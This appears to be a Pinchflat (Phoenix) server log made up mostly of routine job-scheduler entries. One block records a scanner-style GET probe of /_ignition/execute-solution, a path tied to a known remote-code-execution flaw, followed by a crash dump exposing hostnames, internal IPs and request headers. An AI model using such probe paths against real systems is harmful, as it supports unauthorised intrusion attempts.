{"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.251 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:10:16.196 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:46.197 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.252 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:11:08.201 [info] GET /_ignition/execute-solution 12:11:08.201 [debug] QUERY OK source="settings" db=0.1ms idle=521.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:11:08.201 [debug] QUERY OK source="settings" db=0.0ms idle=151.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:11:08.202 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 12:11:08.202 [error] #PID<0.10100.0> running PinchflatWeb.Endpoint (connection #PID<0.10099.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /_ignition/execute-solution ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_ignition/execute-solution (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10099.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/execute-solution", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 39996}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.10100.0>, params: %{}, path_info: ["_ignition", "execute-solution"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/_ignition/execute-solution", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFbze9AKxV0lOUABFoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10099.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/execute-solution", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 39996}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_ignition/execute-solution (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10099.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/execute-solution", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 39996}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.10100.0>, params: %{}, path_info: ["_ignition", "execute-solution"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537. (truncated) 12:11:16.199 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:46.200 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.253 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:12:16.201 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:46.202 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.254 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:13:16.203 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:46.205 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.255 [info] {"source":"oban","duration":283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:14:16.207 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:46.208 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.256 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:15:16.210 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:46.211 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.257 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:16:16.213 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:46.214 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.258 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:17:16.215 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:46.216 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.259 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:18:16.217 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:46.218 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.260 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:19:16.219 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:46.220 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.261 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:20:16.222 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:46.223 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.262 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:21:16.225 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:46.226 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.263 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:22:16.228 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:46.229 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.264 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:23:16.231 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:46.232 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.265 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:24:16.233 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:46.235 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.266 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:25:16.236 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:46.237 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.267 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:26:16.238 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:46.239 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.269 [info] {"source":"oban","duration":351,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:27:16.241 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:46.242 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.269 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:28:16.244 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:46.245 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.270 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:29:16.246 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:46.247 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.271 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:30:16.248 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:46.249 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.273 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:31:16.251 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:46.252 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.273 [info] {"source":"oban","duration":270,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:32:16.253 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:46.254 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.274 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:33:16.255 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:46.256 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.275 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:34:16.257 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:46.258 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.276 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:35:16.260 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:46.261 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.277 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:36:16.262 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:46.264 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.278 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:37:16.265 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:46.266 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.279 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:38:16.267 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:46.268 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.280 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:39:16.269 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:46.270 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.281 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:40:16.271 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:46.272 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.282 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:41:16.273 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:46.274 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.283 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:42:16.275 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:46.276 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.284 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:43:16.278 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:46.279 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.285 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:44:16.281 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:46.282 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.286 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:45:16.283 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:46.284 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.287 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:46:16.285 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:46.286 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.288 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:47:16.287 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:46.288 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.289 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:48:16.289 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:46.290 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.290 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:49:16.291 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:46.292 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.291 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:50:16.293 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:46.294 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.292 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:51:16.295 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:46.295 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.293 [info] {"source":"oban","duration":119,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:52:16.297 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:46.298 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.294 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:53:16.299 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:46.300 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.295 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:54:16.301 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:46.302 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.296 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:55:16.304 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:46.305 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.297 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:56:16.306 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:46.307 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.298 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:57:16.308 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:46.309 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.299 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:58:16.310 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:46.311 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.301 [info] {"source":"oban","duration":340,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:59:16.312 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:46.313 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.301 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:00:16.314 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:46.315 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.302 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:01:16.316 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:46.317 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.303 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:02:16.318 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:46.319 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.304 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:03:16.320 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:46.321 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.305 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:04:16.322 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:46.323 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.306 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:05:16.324 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:46.325 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.307 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:06:16.326 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:46.327 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.308 [info] {"source":"oban","duration":150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:07:16.328 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:46.329 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.309 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:08:16.330 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:46.331 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.310 